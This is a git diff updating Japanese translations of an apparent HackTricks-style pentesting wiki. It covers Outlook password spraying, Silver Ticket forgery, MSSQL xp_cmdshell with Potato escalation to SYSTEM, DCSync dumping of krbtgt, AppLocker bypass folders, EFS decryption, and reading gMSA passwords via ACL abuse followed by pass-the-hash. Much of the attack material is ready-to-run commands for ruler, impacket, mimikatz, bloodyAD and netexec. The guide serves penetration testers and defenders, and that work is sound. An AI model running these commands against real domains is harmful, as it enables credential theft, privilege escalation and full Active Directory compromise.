Outlook Web Access -p**assword spraying outlook** 用のツールはいくつかあります。 +Outlook に対する p**assword spraying outlook** を行うためのツールはいくつかあります。 -- [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) を使って -- [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) を使って -- [Ruler](https://github.com/sensepost/ruler) (reliable!) -- [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) -- [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) +- [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) を使用 +- [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) を使用 +- [Ruler](https://github.com/sensepost/ruler) を使用(信頼性あり) +- [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) を使用(Powershell) +- [MailSniper](https://github.com/dafthack/MailSniper) を使用(Powershell) -To use any of these tools, you need a user list and a password / a small list of passwords to spray. +これらのツールを使用するには、ユーザーリストとスプレーするためのパスワード/小さなパスワードリストが必要です。 ```bash ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose [x] Failed: larsson:Summer2020 diff --git a/src/windows-hardening/active-directory-methodology/silver-ticket.md b/src/windows-hardening/active-directory-methodology/silver-ticket.md index 56f560b4a..33ff65682 100644 --- a/src/windows-hardening/active-directory-methodology/silver-ticket.md +++ b/src/windows-hardening/active-directory-methodology/silver-ticket.md @@ -6,15 +6,15 @@ ## Silver ticket -The **Silver Ticket** attack involves the exploitation of service tickets in Active Directory (AD) environments. This method relies on **acquiring the NTLM hash of a service account**, such as a computer account, to forge a Ticket Granting Service (TGS) ticket. With this forged ticket, an attacker can access specific services on the network, **impersonating any user**, typically aiming for administrative privileges. It's emphasized that using AES keys for forging tickets is more secure and less detectable. +**Silver Ticket** 攻撃は、Active Directory (AD) 環境におけるサービスチケットの悪用を伴います。この手法は、コンピュータアカウントのようなサービスアカウントの**NTLMハッシュを取得する**ことに依存し、そのハッシュを使って Ticket Granting Service (TGS) チケットを偽造します。偽造したチケットにより、攻撃者はネットワーク上の特定サービスにアクセスし、通常は管理権限を狙って**任意のユーザーになりすます**ことができます。チケットを偽造する際に AES キーを使う方がより安全で検出されにくいことが強調されます。 > [!WARNING] -> Silver Tickets are less detectable than Golden Tickets because they only require the **hash of the service account**, not the krbtgt account. However, they are limited to the specific service they target. Moreover, just stealing the password of a user. -Moreover, if you compromise an **account's password with a SPN** you can use that password to create a Silver Ticket impersonating any user to that service. +> Silver Tickets は Golden Tickets より検出されにくいです。なぜなら要求されるのは krbtgt アカウントではなくサービスアカウントの**ハッシュ**だけだからです。ただし、対象となるサービスに限定されます。さらに、ユーザーのパスワードを単に盗むだけで可能です。 +> また、SPN を持つ**アカウントのパスワード**を奪取した場合、そのパスワードを使ってそのサービスに対して任意のユーザーを偽装する Silver Ticket を作成できます。 For ticket crafting, different tools are employed based on the operating system: -### On Linux +### Linux上 ```bash python ticketer.py -nthash -domain-sid -domain -spn export KRB5CCNAME=/root/impacket-examples/.ccache @@ -37,11 +37,11 @@ mimikatz.exe "kerberos::ptt " # Obtain a shell .\PsExec.exe -accepteula \\ cmd ``` -CIFS service は標的のファイルシステムへアクセスする一般的なターゲットとしてよく挙げられますが、HOST や RPCSS といった他のサービスもタスクや WMI クエリの実行に悪用可能です。 +The CIFS service is highlighted as a common target for accessing the victim's file system, but other services like HOST and RPCSS can also be exploited for tasks and WMI queries. -### 例:MSSQL service (MSSQLSvc) + Potato to SYSTEM +### 例: MSSQL service (MSSQLSvc) + Potato to SYSTEM -SQL サービスアカウント(例: sqlsvc)の NTLM ハッシュ(または AES キー)を入手している場合、MSSQL SPN に対する TGS を偽造して SQL service に対して任意のユーザーを偽装できます。そこから xp_cmdshell を有効化して SQL サービスアカウントとしてコマンドを実行します。その token に SeImpersonatePrivilege が含まれていれば、Potato をチェーンして SYSTEM に昇格できます。 +もしSQLサービスアカウント(例: sqlsvc)のNTLMハッシュ(またはAESキー)を持っていれば、MSSQLのSPNに対するTGSを偽造して、任意のユーザとしてSQLサービスに対してなりすますことができます。そこからxp_cmdshellを有効化して、SQLサービスアカウントとしてコマンドを実行します。そのトークンにSeImpersonatePrivilegeがあれば、PotatoをチェーンしてSYSTEMに昇格させます。 ```bash # Forge a silver ticket for MSSQLSvc (RC4/NTLM example) python ticketer.py -nthash -domain-sid -domain \ @@ -52,30 +52,32 @@ export KRB5CCNAME=$PWD/administrator.ccache impacket-mssqlclient -k -no-pass /administrator@:1433 \ -q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'" ``` -- 結果のコンテキストに SeImpersonatePrivilege がある場合(サービスアカウントではよくある)、SYSTEM を取得するために Potato のバリアントを使用する: +- 結果のコンテキストが SeImpersonatePrivilege を持っている場合(サービスアカウントに当てはまることが多い)、Potato の亜種を使って SYSTEM を取得する: ```bash # On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato PrintSpoofer.exe -c "cmd /c whoami" # or GodPotato -cmd "cmd /c whoami" ``` -More details on abusing MSSQL and enabling xp_cmdshell: +MSSQL の悪用および xp_cmdshell の有効化の詳細: + {{#ref}} abusing-ad-mssql.md {{#endref}} -Potato techniques overview: +Potato techniques の概要: + {{#ref}} ../windows-local-privilege-escalation/roguepotato-and-printspoofer.md {{#endref}} ## 利用可能なサービス -| サービスの種類 | Service Silver Tickets | +| サービスの種類 | Service Silver Tickets | | ------------------------------------------ | -------------------------------------------------------------------------- | | WMI |

HOST

RPCSS

| -| PowerShell Remoting |

HOST

HTTP

OSによっては以下も:

WSMAN

RPCSS

| -| WinRM |

HOST

HTTP

場合によっては単に要求するだけで済むことがあります: WINRM

| +| PowerShell Remoting |

HOST

HTTP

OSによっては以下も:

WSMAN

RPCSS

| +| WinRM |

HOST

HTTP

場合によっては単に要求できます: WINRM

| | Scheduled Tasks | HOST | | Windows File Share, also psexec | CIFS | | LDAP operations, included DCSync | LDAP | @@ -90,25 +92,25 @@ Using **Rubeus** you may **ask for all** these tickets using the parameter: - 4624: アカウント ログオン - 4634: アカウント ログオフ -- 4672: 管理者ログオン +- 4672: 管理者 ログオン ## 永続化 -マシンが30日ごとにパスワードをローテーションするのを回避するには、`HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` を設定するか、`HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` を30日より大きい値に設定して、マシンのパスワードをローテーションする期間を延長できます。 +マシンが 30 日ごとにパスワードをローテーションするのを避けるには、`HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` を設定するか、`HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` を 30 日より大きな値に設定して、マシンのパスワードをいつローテーションするかを示すことができます。 ## サービスチケットの悪用 -以下の例では、チケットが管理者アカウントを偽装して取得されたと仮定します。 +以下の例では、そのチケットが管理者アカウントを偽装して取得されたと仮定します。 ### CIFS -このチケットを使うと、`C$` や `ADMIN$` フォルダに **SMB** 経由でアクセスでき(公開されていれば)、リモートファイルシステムの一部にファイルをコピーできます。例えば次のように実行します: +このチケットがあれば、`C$` と `ADMIN$` フォルダに **SMB** 経由でアクセスでき(公開されている場合)、次のようにしてリモートファイルシステムの一部にファイルをコピーできます: ```bash dir \\vulnerable.computer\C$ dir \\vulnerable.computer\ADMIN$ copy afile.txt \\vulnerable.computer\C$\Windows\Temp ``` -また、**psexec** を使用してホスト内でシェルを取得したり、任意のコマンドを実行したりできます: +さらに、**psexec** を使用してホスト内でシェルを取得したり、任意のコマンドを実行したりできます: {{#ref}} ../lateral-movement/psexec-and-winexec.md @@ -116,7 +118,7 @@ copy afile.txt \\vulnerable.computer\C$\Windows\Temp ### ホスト -この権限があれば、リモートコンピュータ上にスケジュールされたタスクを作成し、任意のコマンドを実行できます: +この権限があれば、リモートコンピュータにスケジュールされたタスクを作成して任意のコマンドを実行できます: ```bash #Check you have permissions to use schtasks over a remote server schtasks /S some.vuln.pc @@ -130,7 +132,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName" ``` ### HOST + RPCSS -これらのチケットを使うと、**標的システムでWMIを実行できます**: +これらのチケットを使用すると、**標的システム上でWMIを実行できます**: ```bash #Check you have enough privileges Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local @@ -140,20 +142,19 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis #You can also use wmic wmic remote.computer.local list full /format:list ``` -以下のページで **wmiexec に関する詳細** を確認してください: - +以下のページで**wmiexec**に関する詳細情報を確認してください: {{#ref}} ../lateral-movement/wmiexec.md {{#endref}} -### ホスト + WSMAN (WINRM) +### HOST + WSMAN (WINRM) -コンピュータに対する winrm アクセスがあれば、それに **access it** し、PowerShell を取得することさえできます: +コンピュータに対して winrm アクセスがあると、そのコンピュータに**アクセス**したり、PowerShell を取得したりできます: ```bash New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC ``` -次のページを確認して、**winrmを使用してリモートホストに接続する他の方法**を学んでください: +次のページを参照して、**winrm を使用してリモートホストに接続する他の方法**を確認してください: {{#ref}} @@ -161,15 +162,15 @@ New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC {{#endref}} > [!WARNING] -> リモートコンピュータにアクセスするには、**winrmが有効でリッスンしている必要がある**ことに注意してください。 +> リモートコンピュータにアクセスするには、**winrm が有効でリッスンしている必要がある**ことに注意してください。 ### LDAP -この権限があれば、**DCSync**を使用してDCのデータベースをダンプすることができます: +この特権があれば、**DCSync** を使用して DC のデータベースをダンプできます: ``` mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt ``` -**DCSync について詳しく学ぶには** 次のページを参照してください: +**DCSync の詳細については次のページを参照してください** {{#ref}} @@ -177,7 +178,7 @@ dcsync.md {{#endref}} -## 参考資料 +## 参考 - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets) - [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md index a54c6b614..a7cc9c152 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md @@ -1,17 +1,17 @@ -# Windows セキュリティコントロール +# Windows セキュリティ コントロール {{#include ../../banners/hacktricks-training.md}} ## AppLocker ポリシー -アプリケーションのホワイトリストは、システム上で存在し実行が許可される承認済みソフトウェアや実行ファイルの一覧です。目的は、組織の業務要件に合わない有害なマルウェアや未承認ソフトウェアから環境を保護することです。 +アプリケーションホワイトリストは、システム上に存在し実行が許可される承認済みソフトウェアや実行ファイルの一覧です。目的は、組織の特定の業務要件に合致しない有害なマルウェアや未承認ソフトウェアから環境を保護することです。 -[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) は Microsoft の **アプリケーションホワイトリスティングソリューション** で、システム管理者に **ユーザーが実行できるアプリケーションとファイル** を制御する手段を提供します。**詳細な制御** を実行可能ファイル、スクリプト、Windows インストーラーファイル、DLL、パッケージ化されたアプリ、およびパックされたアプリインストーラーに対して提供します。\ -組織によっては **cmd.exe と PowerShell.exe をブロック** し特定ディレクトリへの書き込みを禁止することが一般的ですが、**これらはすべて回避可能** です。 +[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) は Microsoft の **アプリケーションホワイトリスティングソリューション** で、システム管理者に **ユーザーが実行できるアプリケーションおよびファイルを制御する** 権限を提供します。実行ファイル、スクリプト、Windows インストーラー ファイル、DLL、パッケージ化されたアプリ、およびパッケージインストーラーに対して **詳細な制御** を提供します。\ +多くの組織では **cmd.exe と PowerShell.exe をブロック** したり特定のディレクトリへの書き込みアクセスを制限することが一般的ですが、**これはすべて回避可能です**。 ### チェック -どのファイル/拡張子がブラックリスト/ホワイトリスト化されているかを確認する: +どのファイル/拡張子がブラックリスト/ホワイトリストに登録されているか確認する: ```bash Get-ApplockerPolicy -Effective -xml @@ -20,60 +20,60 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections $a = Get-ApplockerPolicy -effective $a.rulecollections ``` -This registry path contains the configurations and policies applied by AppLocker, providing a way to review the current set of rules enforced on the system: +このレジストリパスには AppLocker によって適用される設定とポリシーが含まれており、システム上で強制されている現在のルールのセットを確認する方法を提供します: - `HKLM\Software\Policies\Microsoft\Windows\SrpV2` ### Bypass -- AppLocker Policy を bypass するのに便利な **Writable folders**: AppLocker が `C:\Windows\System32` または `C:\Windows` 内での実行を許可している場合、**writable folders** を使って **bypass this** することができます。 +- AppLocker Policy を bypass するのに有用な **Writable folders**: AppLocker が `C:\Windows\System32` または `C:\Windows` の中で任意の実行を許可している場合、これを **bypass** するために使用できる **writable folders** が存在します。 ``` C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\spool\drivers\color C:\Windows\Tasks C:\windows\tracing ``` -- 一般的に **信頼されている** [**"LOLBAS's"**](https://lolbas-project.github.io/) バイナリは AppLocker のバイパスにも有用です。 -- **不適切に記述されたルールもバイパスされる可能性があります** -- 例えば、**``** のような場合、どこにでも **`allowed` というフォルダ** を作成すれば許可されます。 -- 組織はしばしば **`%System32%\WindowsPowerShell\v1.0\powershell.exe` 実行ファイルのブロック** に注力しますが、`%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` や `PowerShell_ISE.exe` のような **他の** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) を見落としがちです。 -- **DLL の強制は、システムにかかる追加の負荷や、何も壊れないことを確認するために必要なテスト量のためにほとんど有効化されていません。** したがって、**バックドアとして DLL を使用することは AppLocker のバイパスに役立ちます。** -- 任意のプロセス内で PowerShell コードを **実行** して AppLocker をバイパスするために、[**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) や [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) を使用できます。詳細は次を参照してください: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). +- 一般的に**信頼されている** [**"LOLBAS's"**](https://lolbas-project.github.io/) バイナリは AppLocker を回避するのにも有用です。 +- **不適切に作成されたルールはバイパスされる可能性があります** +- 例えば、**``** のようなルールでは、どこにでも **`allowed` というフォルダを作成**すれば許可されてしまいます。 +- 組織はしばしば **`%System32%\WindowsPowerShell\v1.0\powershell.exe` 実行ファイルのブロック** に注力しますが、`%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` や `PowerShell_ISE.exe` といった他の [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) を忘れがちです。 +- **DLL enforcement は、システムに与える追加負荷や動作確認のためのテスト量のため、ほとんど有効化されません。** したがって、**DLL をバックドアとして利用することは AppLocker のバイパスに役立ちます**。 +- [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) や [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) を使用すると、任意のプロセス内で PowerShell コードを実行して AppLocker をバイパスできます。詳細は次を参照してください: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode -## 認証情報の保存 +## 資格情報の保存 -### セキュリティアカウントマネージャ (SAM) +### Security Accounts Manager (SAM) -ローカルの資格情報がこのファイルに存在し、パスワードはハッシュ化されています。 +ローカルの資格情報はこのファイルに存在し、パスワードはハッシュ化されています。 -### ローカルセキュリティオーソリティ (LSA) - LSASS +### Local Security Authority (LSA) - LSASS -**資格情報**(ハッシュ化されたもの)は、シングルサインオンのためにこのサブシステムの**メモリ**に**保存**されます。\ -**LSA** はローカルの**セキュリティポリシー**(パスワードポリシー、ユーザー権限...)、**認証**、**アクセストークン**などを管理します。\ -LSA はローカルログイン時に **SAM** ファイル内の提供された資格情報を**チェック**し、ドメインユーザーを認証するために **domain controller** と**やり取り**します。 +**資格情報**(ハッシュ化されたもの)は、Single Sign-On のためにこのサブシステムの**メモリ**に**保存**されます。\ +**LSA** はローカルの **セキュリティポリシー**(パスワードポリシー、ユーザー権限...)、**認証**、**アクセストークン**などを管理します。\ +LSA はローカルログイン時には **SAM** ファイル内の提供された資格情報を**確認**し、ドメインユーザーを認証するために **ドメインコントローラー** と**連携**します。 -これらの**資格情報**は**LSASS プロセス**内に**保存**されています:Kerberos チケット、NT および LM ハッシュ、容易に復号されるパスワードなど。 +**資格情報**は**LSASS プロセス**内に**保存**されます: Kerberos チケット、NT と LM のハッシュ、容易に復号できるパスワードなど。 -### LSA シークレット +### LSA secrets -LSA はディスク上にいくつかの資格情報を保存することがあります: +LSA はディスク上にいくつかの資格情報を保存する場合があります: -- Active Directory のコンピューターアカウントのパスワード(ドメインコントローラーに到達できない場合)。 +- Active Directory のコンピュータアカウントのパスワード(ドメインコントローラーに到達できない場合のため)。 - Windows サービスのアカウントのパスワード - スケジュールされたタスクのパスワード -- その他(IIS アプリケーションのパスワード...) +- その他(IIS アプリケーションのパスワードなど) ### NTDS.dit -Active Directory のデータベースです。ドメインコントローラーにのみ存在します。 +これは Active Directory のデータベースです。ドメインコントローラーにのみ存在します。 ## Defender -[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) は Windows 10 および Windows 11、ならびに Windows Server のバージョンで利用可能なアンチウイルスです。`WinPEAS` のような一般的な pentesting ツールをブロックします。ただし、これらの保護をバイパスする方法も存在します。 +[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) は Windows 10 および Windows 11、並びに Windows Server のバージョンで利用可能なアンチウイルスです。`WinPEAS` のような一般的な pentesting ツールを**ブロック**します。しかし、これらの防御を**回避する**方法も存在します。 ### チェック -Defender の**ステータス**を確認するには、PS コマンドレット **`Get-MpComputerStatus`** を実行します(有効かどうかを確認するには **`RealTimeProtectionEnabled`** の値を確認してください): +Defender の**状態**を確認するには、PS コマンドレット **`Get-MpComputerStatus`** を実行します(有効かどうかは **`RealTimeProtectionEnabled`** の値を確認してください):
PS C:\> Get-MpComputerStatus
 
@@ -92,7 +92,7 @@ NISEngineVersion                : 0.0.0.0
 PSComputerName                  :
 
-列挙するには次のコマンドも実行できます: +列挙するには、次のコマンドも実行できます: ```bash WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List wmic /namespace:\\root\securitycenter2 path antivirusproduct @@ -103,33 +103,33 @@ sc query windefend ``` ## Encrypted File System (EFS) -EFS はファイルを暗号化によって保護します。ここでは **対称鍵** として知られる **File Encryption Key (FEK)** を利用します。FEK はユーザーの **公開鍵** で暗号化され、暗号化ファイルの $EFS の **代替データストリーム** 内に格納されます。復号が必要な場合、ユーザーのデジタル証明書に対応する **秘密鍵** を用いて $EFS ストリームから FEK を復号します。詳細は[こちら](https://en.wikipedia.org/wiki/Encrypting_File_System)を参照してください。 +EFS は暗号化を用いてファイルを保護します。対称鍵として知られる **File Encryption Key (FEK)** を使用し、この鍵はユーザーの **public key** で暗号化され、暗号化ファイルの $EFS **alternative data stream** に格納されます。復号が必要な際には、ユーザーのデジタル証明書に対応する **private key** を使用して $EFS ストリームから FEK を復号します。詳細は [here](https://en.wikipedia.org/wiki/Encrypting_File_System) を参照してください。 -**ユーザーの操作なしに復号が行われる状況** には次のようなものがあります: +**ユーザーの操作なしでの復号シナリオ** には以下が含まれます: -- ファイルやフォルダが [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table) のような非 EFS ファイルシステムに移動されたとき、自動的に復号されます。 -- SMB/CIFS プロトコル経由でネットワーク越しに送信される暗号化ファイルは、送信前に復号されます。 +- ファイルやフォルダが FAT32 のような非 EFS ファイルシステムに移動されると、自動的に復号されます。 +- SMB/CIFS プロトコルでネットワーク越しに送信される暗号化ファイルは、送信前に復号されます。 -この暗号化方式は所有者に対して暗号化ファイルへの **透過的なアクセス** を許可します。ただし、単に所有者のパスワードを変更してログインするだけでは復号はできません。 +この暗号化方式は所有者に対して暗号化ファイルへの **透過的なアクセス** を許します。ただし、所有者のパスワードを単に変更してログインするだけでは復号はできません。 -### 要点 +**重要ポイント**: -- EFS は対称 FEK を使用し、FEK はユーザーの公開鍵で暗号化されます。 -- 復号には FEK にアクセスするためにユーザーの秘密鍵が使用されます。 -- FAT32 にコピーしたりネットワーク送信するなど特定の条件下で自動的に復号が行われます。 -- 暗号化ファイルは所有者が追加の手順なしでアクセスできます。 +- EFS は対称 FEK を使用し、それがユーザーの public key で暗号化される。 +- 復号はユーザーの private key を用いて FEK にアクセスすることで行われる。 +- FAT32 へのコピーやネットワーク送信など、特定の条件下で自動復号が発生する。 +- 暗号化ファイルは所有者が追加の手順なしにアクセス可能である。 ### Check EFS info -このサービスをユーザーが使用したかどうかは、次のパスが存在するか確認してください: `C:\users\\appdata\roaming\Microsoft\Protect` +このサービスを **ユーザー** が **使用した** かどうかは次のパスが存在するか確認して調べます: `C:\users\\appdata\roaming\Microsoft\Protect` -ファイルに**誰が**アクセスできるかを確認するには `cipher /c \` を使用します。フォルダ内のすべてのファイルを **暗号化 / 復号** するには、`cipher /e` と `cipher /d` を使用できます。 +ファイルへの **誰がアクセスできるか** は `cipher /c \\` を使って確認できます。フォルダ内で `cipher /e` と `cipher /d` を使えば、フォルダ内のすべてのファイルを **暗号化** / **復号** できます。 ### Decrypting EFS files #### Being Authority System -この方法は、**被害ユーザー** がホスト内でプロセスを **実行している** 必要があります。もしその状態であれば、`meterpreter` セッションを使ってユーザーのプロセスのトークンを偽装する(`incognito` の `impersonate_token`)ことができます。または単にユーザーのプロセスに `migrate` することも可能です。 +この方法は **被害ユーザー** がホスト内で **プロセス** を **実行している** 必要があります。もしそうなら、`meterpreter` セッションを使用してユーザーのプロセスのトークンを偽装する(`impersonate_token` from `incognito`)ことができます。または単にユーザーのプロセスに `migrate` することも可能です。 #### Knowing the users password @@ -140,15 +140,15 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files ## Group Managed Service Accounts (gMSA) -Microsoft は IT インフラでのサービスアカウント管理を簡素化するために **Group Managed Service Accounts (gMSA)** を開発しました。従来の「Password never expire」設定が有効になりがちなサービスアカウントとは異なり、gMSA はより安全で管理しやすいソリューションを提供します: +Microsoft は IT インフラ内のサービスアカウント管理を簡素化するために **Group Managed Service Accounts (gMSA)** を開発しました。従来のサービスアカウントではしばしば "**Password never expire**" 設定が有効になっていることがありますが、gMSA はより安全で管理しやすいソリューションを提供します: -- **自動パスワード管理**: gMSA は複雑な 240 文字のパスワードを使用し、ドメインやコンピュータのポリシーに従って自動的に変更されます。この処理は Microsoft の Key Distribution Service (KDC) によって行われ、手動でのパスワード更新を不要にします。 -- **強化されたセキュリティ**: これらのアカウントはロックアウトの対象にならず、対話型ログインに使用できないため、セキュリティが向上します。 -- **複数ホスト対応**: gMSA は複数のホストで共有可能で、複数サーバー上で動作するサービスに最適です。 -- **スケジュールタスクの実行可能性**: managed service accounts と異なり、gMSA はスケジュールタスクの実行をサポートします。 -- **SPN 管理の簡素化**: コンピュータの sAMaccount 情報や DNS 名に変更があった場合、システムが自動的に Service Principal Name (SPN) を更新し、SPN 管理を簡素化します。 +- **自動パスワード管理**: gMSA は複雑な 240 文字のパスワードを使用し、ドメインまたはコンピュータのポリシーに従って自動的に変更されます。このプロセスは Microsoft の Key Distribution Service (KDC) によって処理され、手動でのパスワード更新の必要がなくなります。 +- **強化されたセキュリティ**: これらのアカウントはロックアウトの対象にならず、対話型ログインに使用できないためセキュリティが向上します。 +- **複数ホスト対応**: gMSA は複数のホストで共有可能であり、複数サーバーで実行されるサービスに適しています。 +- **スケジュールタスク対応**: managed service accounts と異なり、gMSA はスケジュールタスクの実行をサポートします。 +- **SPN 管理の簡素化**: コンピュータの sAMAccount 情報や DNS 名に変更があった場合、システムが自動的に Service Principal Name (SPN) を更新し、SPN 管理を簡素化します。 -gMSA のパスワードは LDAP 属性 _**msDS-ManagedPassword**_ に格納され、Domain Controllers (DC) により自動的に 30 日ごとにリセットされます。このパスワードは [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) として知られる暗号化データブロブであり、許可された管理者と gMSA がインストールされているサーバーのみが取得可能で、セキュアな環境を確保します。この情報にアクセスするには LDAPS のような保護された接続が必要か、あるいは接続が 'Sealing & Secure' で認証されている必要があります。 +gMSA のパスワードは LDAP プロパティ _**msDS-ManagedPassword**_ に保存され、Domain Controllers (DCs) によって 30 日ごとに自動的にリセットされます。このパスワードは [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) として知られる暗号化データの塊であり、許可された管理者と gMSA がインストールされているサーバーのみが取得可能で、セキュアな環境を保証します。これらの情報にアクセスするには LDAPS のようなセキュアな接続が必要であるか、接続が 'Sealing & Secure' で認証されている必要があります。 ![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png) @@ -156,48 +156,48 @@ You can read this password with [**GMSAPasswordReader**](https://github.com/rvaz ``` /GMSAPasswordReader --AccountName jkohler ``` -[**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/) +[**詳細はこの投稿を参照**](https://cube0x0.github.io/Relaying-for-gMSA/) -また、こちらの [web page](https://cube0x0.github.io/Relaying-for-gMSA/) を確認してください。**NTLM relay attack**を実行して**gMSA**の**password**を**read**する方法について説明しています。 +また、この [web page](https://cube0x0.github.io/Relaying-for-gMSA/) では、**NTLM relay attack** を実行して **gMSA** の **password** を **read** する方法が解説されています。 -### Abusing ACL chaining to read gMSA managed password (GenericAll -> ReadGMSAPassword) +### ACL chaining を悪用して gMSA 管理パスワードを読み取る (GenericAll -> ReadGMSAPassword) -多くの環境では、低権限のユーザーが誤設定されたオブジェクトACLを悪用することで、DCを侵害することなくgMSAのsecretsにpivotできます: +多くの環境では、低特権ユーザーが誤設定されたオブジェクト ACL を悪用することで、DC を侵害せずに gMSA のシークレットに pivot できます: -- あなたが制御できるグループ(例: GenericAll/GenericWrite経由)がgMSAに対して`ReadGMSAPassword`を付与されている。 -- そのグループに自分を追加することで、LDAP経由でgMSAの`msDS-ManagedPassword`ブロブを読み取る権利を継承し、利用可能なNTLMクレデンシャルを導出できます。 +- あなたが制御できるグループ(例: GenericAll/GenericWrite により)が gMSA に対して `ReadGMSAPassword` を付与されている。 +- そのグループに自分を追加することで、LDAP 経由で gMSA の `msDS-ManagedPassword` ブロブを読み取る権限を継承し、使用可能な NTLM 資格情報を導出できます。 -典型的なワークフロー: +Typical workflow: -1) BloodHoundで経路を発見し、足がかりのプリンシパルをOwnedとしてマークします。次のようなエッジを探してください: +1) BloodHound を使ってパスを発見し、foothold principals を Owned としてマークします。以下のようなエッジを探してください: - GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA -2) あなたが制御する中間グループに自分を追加します(例: bloodyAD): +2) 自分が制御している中間グループに自分を追加します(bloodyAD の例): ```bash bloodyAD --host -d -u -p add groupMember ``` -3) LDAP を通じて gMSA の管理パスワードを読み取り、NTLM ハッシュを導出する。NetExec は `msDS-ManagedPassword` の抽出と NTLM への変換を自動化する: +3) LDAPを通じてgMSAの管理パスワードを読み取り、NTLMハッシュを導出します。NetExecは`msDS-ManagedPassword`の抽出とNTLMへの変換を自動化します: ```bash # Shows PrincipalsAllowedToReadPassword and computes NTLM automatically netexec ldap -u -p --gmsa # Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f ``` -4) NTLM hash を使用して gMSA として認証します(no plaintext needed)。アカウントが Remote Management Users にある場合、WinRM はそのまま動作します: +4) NTLMハッシュを使ってgMSAとして認証します(平文は不要)。アカウントが Remote Management Users にある場合、WinRM は直接動作します: ```bash # SMB / WinRM as the gMSA using the NT hash netexec smb -u 'mgtsvc$' -H netexec winrm -u 'mgtsvc$' -H ``` -注意: -- `msDS-ManagedPassword` の LDAP 読み取りはシーリング(例: LDAPS/sign+seal)を必要とします。ツールはこれを自動で処理します。 -- gMSAs はしばしば WinRM のようなローカル権限が付与されます; lateral movement を計画するために、グループメンバーシップ(例: Remote Management Users)を確認してください。 -- 自分で NTLM を計算するだけで blob が必要な場合は、MSDS-MANAGEDPASSWORD_BLOB 構造体を参照してください。 +メモ: +- `msDS-ManagedPassword` の LDAP 読み取りはシーリング(例: LDAPS/sign+seal)が必要です。ツールがこれを自動的に処理します。 +- gMSAs はしばしば WinRM のようなローカル権利を付与されます。lateral movement を計画するため、グループメンバーシップ(例: Remote Management Users)を検証してください。 +- NTLM を自分で計算するために blob のみが必要な場合は、MSDS-MANAGEDPASSWORD_BLOB 構造を参照してください。 ## LAPS -The **Local Administrator Password Solution (LAPS)**, available for download from [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), はローカル Administrator パスワードの管理を可能にします。これらのパスワードは **ランダム化** 